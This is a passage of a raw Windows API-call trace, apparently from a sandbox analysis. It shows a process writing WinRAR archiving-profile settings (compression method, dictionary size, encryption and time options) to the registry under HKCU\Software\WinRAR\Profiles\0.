lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.212] RegSetValueExW (in: hKey=0x164, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.212] RegCloseKey (hKey=0x164) returned 0x0 [0052.212] GetLastError () returned 0x0 [0052.212] SetLastError (dwErrCode=0x0) [0052.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.212] RegSetValueExW (in: hKey=0x164, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.212] RegCloseKey (hKey=0x164) returned 0x0 [0052.212] GetLastError () returned 0x0 [0052.212] SetLastError (dwErrCode=0x0) [0052.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.212] RegSetValueExW (in: hKey=0x164, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.213] RegCloseKey (hKey=0x164) returned 0x0 [0052.213] GetLastError () returned 0x0 [0052.213] SetLastError (dwErrCode=0x0) [0052.213] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.213] RegSetValueExW (in: hKey=0x164, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.213] RegCloseKey (hKey=0x164) returned 0x0 [0052.213] GetLastError () returned 0x0 [0052.213] SetLastError (dwErrCode=0x0) [0052.213] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.213] RegSetValueExW (in: hKey=0x164, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.213] RegCloseKey (hKey=0x164) returned 0x0 [0052.213] GetLastError () returned 0x0 [0052.213] SetLastError (dwErrCode=0x0) [0052.213] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.213] RegSetValueExW (in: hKey=0x164, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.213] RegCloseKey (hKey=0x164) returned 0x0 [0052.213] GetLastError () returned 0x0 [0052.213] SetLastError (dwErrCode=0x0) [0052.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.214] RegSetValueExW (in: hKey=0x164, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.214] RegCloseKey (hKey=0x164) returned 0x0 [0052.214] GetLastError () returned 0x0 [0052.214] SetLastError (dwErrCode=0x0) [0052.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.214] RegSetValueExW (in: hKey=0x164, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.214] RegCloseKey (hKey=0x164) returned 0x0 [0052.214] GetLastError () returned 0x0 [0052.214] SetLastError (dwErrCode=0x0) [0052.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.214] RegSetValueExW (in: hKey=0x164, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0xfffffffd, cbData=0x4 | out: lpData=0x18b058*=0xfffffffd) returned 0x0 [0052.214] RegCloseKey (hKey=0x164) returned 0x0 [0052.214] GetLastError () returned 0x0 [0052.214] SetLastError (dwErrCode=0x0) [0052.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.214] RegSetValueExW (in: hKey=0x164, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.214] RegCloseKey (hKey=0x164) returned 0x0 [0052.215] GetLastError () returned 0x0 [0052.215] SetLastError (dwErrCode=0x0) [0052.215] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.215] RegSetValueExW (in: hKey=0x164, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.215] RegCloseKey (hKey=0x164) returned 0x0 [0052.215] GetLastError () returned 0x0 [0052.215] SetLastError (dwErrCode=0x0) [0052.215] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.215] RegSetValueExW (in: hKey=0x164, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.215] RegCloseKey (hKey=0x164) returned 0x0 [0052.215] GetLastError () returned 0x0 [0052.215] SetLastError (dwErrCode=0x0) [0052.215] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.215] RegSetValueExW (in: hKey=0x164, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.215] RegCloseKey (hKey=0x164) returned 0x0 [0052.215] GetLastError () returned 0x0 [0052.215] SetLastError (dwErrCode=0x0) [0052.215] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.216] RegSetValueExW (in: hKey=0x164, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x3, cbData=0x4 | out: lpData=0x18b058*=0x3) returned 0x0 [0052.216] RegCloseKey (hKey=0x164) returned 0x0 [0052.216] GetLastError () returned 0x0 [0052.216] SetLastError (dwErrCode=0x0) [0052.216] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.216] RegSetValueExW (in: hKey=0x164, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x400000, cbData=0x4 | out: lpData=0x18b058*=0x400000) returned 0x0 [0052.216] RegCloseKey (hKey=0x164) returned 0x0 [0052.216] GetLastError () returned 0x0 [0052.216] SetLastError (dwErrCode=0x0) [0052.216] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.216] RegSetValueExW (in: hKey=0x164, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2000000, cbData=0x4 | out: lpData=0x18b058*=0x2000000) returned 0x0 [0052.216] RegCloseKey (hKey=0x164) returned 0x0 [0052.216] GetLastError () returned 0x0 [0052.216] SetLastError (dwErrCode=0x0) [0052.216] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.216] RegSetValueExW (in: hKey=0x164, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.216] RegCloseKey (hKey=0x164) returned 0x0 [0052.216] GetLastError () returned 0x0 [0052.217] SetLastError (dwErrCode=0x0) [0052.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.217] RegSetValueExW (in: hKey=0x164, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.217] RegCloseKey (hKey=0x164) returned 0x0 [0052.217] GetLastError () returned 0x0 [0052.217] SetLastError (dwErrCode=0x0) [0052.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.217] RegSetValueExW (in: hKey=0x164, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.217] RegCloseKey (hKey=0x164) returned 0x0 [0052.217] GetLastError () returned 0x0 [0052.217] SetLastError (dwErrCode=0x0) [0052.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1897b8, lpdwDisposition=0x1897b0 | out: phkResult=0x1897b8*=0x164, lpdwDisposition=0x1897b0*=0x2) returned 0x0 [0052.217] RegSetValueExW (in: hKey=0x164, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x1 | out: lpData=0x13f26f128*) returned 0x0 [0052.217] RegCloseKey (hKey=0x164) returned 0x0 [0052.217] GetLastError () returned 0x0 [0052.217] SetLastError (dwErrCode=0x0) [0052.217] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.217] RegSetValueExW (in: hKey=0x164, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.218] RegCloseKey (hKey=0x164) returned 0x0 [0052.218] GetLastError () returned 0x0 [0052.218] SetLastError (dwErrCode=0x0) [0052.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.218] RegSetValueExW (in: hKey=0x164, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.218] RegCloseKey (hKey=0x164) returned 0x0 [0052.218] GetLastError () returned 0x0 [0052.218] SetLastError (dwErrCode=0x0) [0052.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.218] RegSetValueExW (in: hKey=0x164, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.218] RegCloseKey (hKey=0x164) returned 0x0 [0052.218] GetLastError () returned 0x0 [0052.218] SetLastError (dwErrCode=0x0) [0052.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.218] RegSetValueExW (in: hKey=0x164, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.218] RegCloseKey (hKey=0x164) returned 0x0 [0052.218] GetLastError () returned 0x0 [0052.218] SetLastError (dwErrCode=0x0) [0052.218] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.218] RegSetValueExW (in: hKey=0x164, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.218] RegCloseKey (hKey=0x164) returned 0x0 [0052.218] GetLastError () returned 0x0 [0052.218] SetLastError (dwErrCode=0x0) [0052.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.219] RegSetValueExW (in: hKey=0x164, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.219] RegCloseKey (hKey=0x164) returned 0x0 [0052.219] GetLastError () returned 0x0 [0052.219] SetLastError (dwErrCode=0x0) [0052.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.219] RegSetValueExW (in: hKey=0x164, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.219] RegCloseKey (hKey=0x164) returned 0x0 [0052.219] GetLastError () returned 0x0 [0052.219] SetLastError (dwErrCode=0x0) [0052.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.219] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.219] RegCloseKey (hKey=0x164) returned 0x0 [0052.219] GetLastError () returned 0x0 [0052.219] SetLastError (dwErrCode=0x0) [0052.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.219] RegSetValueExW (in: hKey=0x164, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.219] RegCloseKey (hKey=0x164) returned 0x0 [0052.219] GetLastError () returned 0x0 [0052.219] SetLastError (dwErrCode=0x0) [0052.219] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.219] RegSetValueExW (in: hKey=0x164, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.220] RegCloseKey (hKey=0x164) returned 0x0 [0052.220] GetLastError () returned 0x0 [0052.220] SetLastError (dwErrCode=0x0) [0052.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.220] RegSetValueExW (in: hKey=0x164, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.220] RegCloseKey (hKey=0x164) returned 0x0 [0052.220] GetLastError () returned 0x0 [0052.220] SetLastError (dwErrCode=0x0) [0052.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.220] RegSetValueExW (in: hKey=0x164, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.220] RegCloseKey (hKey=0x164) returned 0x0 [0052.220] GetLastError () returned 0x0 [0052.220] SetLastError (dwErrCode=0x0) [0052.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.220] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0052.220] RegCloseKey (hKey=0x164) returned 0x0 [0052.220] GetLastError () returned 0x0 [0052.220] SetLastError (dwErrCode=0x0) [0052.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.220] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.220] RegCloseKey (hKey=0x164) returned 0x0 [0052.220] GetLastError () returned 0x0 [0052.220] SetLastError (dwErrCode=0x0) [0052.220] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.221] RegSetValueExW (in: hKey=0x164, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.221] RegCloseKey (hKey=0x164) returned 0x0 [0052.221] GetLastError () returned 0x0 [0052.221] SetLastError (dwErrCode=0x0) [0052.221] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.221] RegSetValueExW (in: hKey=0x164, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.221] RegCloseKey (hKey=0x164) returned 0x0 [0052.221] GetLastError () returned 0x0 [0052.221] SetLastError (dwErrCode=0x0) [0052.221] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.221] RegSetValueExW (in: hKey=0x164, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.221] RegCloseKey (hKey=0x164) returned 0x0 [0052.221] GetLastError () returned 0x0 [0052.221] SetLastError (dwErrCode=0x0) [0052.221] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.221] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0x18b058*=0x0, cbData=0x8 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.221] RegCloseKey (hKey=0x164) returned 0x0 [0052.221] GetLastError () returned 0x0 [0052.221] SetLastError (dwErrCode=0x0) [0052.221] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.221] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.221] RegCloseKey (hKey=0x164) returned 0x0 [0052.221] GetLastError () returned 0x0 [0052.221] SetLastError (dwErrCode=0x0) [0052.221] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.222] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.222] RegCloseKey (hKey=0x164) returned 0x0 [0052.222] GetLastError () returned 0x0 [0052.222] SetLastError (dwErrCode=0x0) [0052.222] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.222] RegSetValueExW (in: hKey=0x164, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x4, cbData=0x4 | out: lpData=0x18b058*=0x4) returned 0x0 [0052.222] RegCloseKey (hKey=0x164) returned 0x0 [0052.222] GetLastError () returned 0x0 [0052.222] SetLastError (dwErrCode=0x0) [0052.222] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, 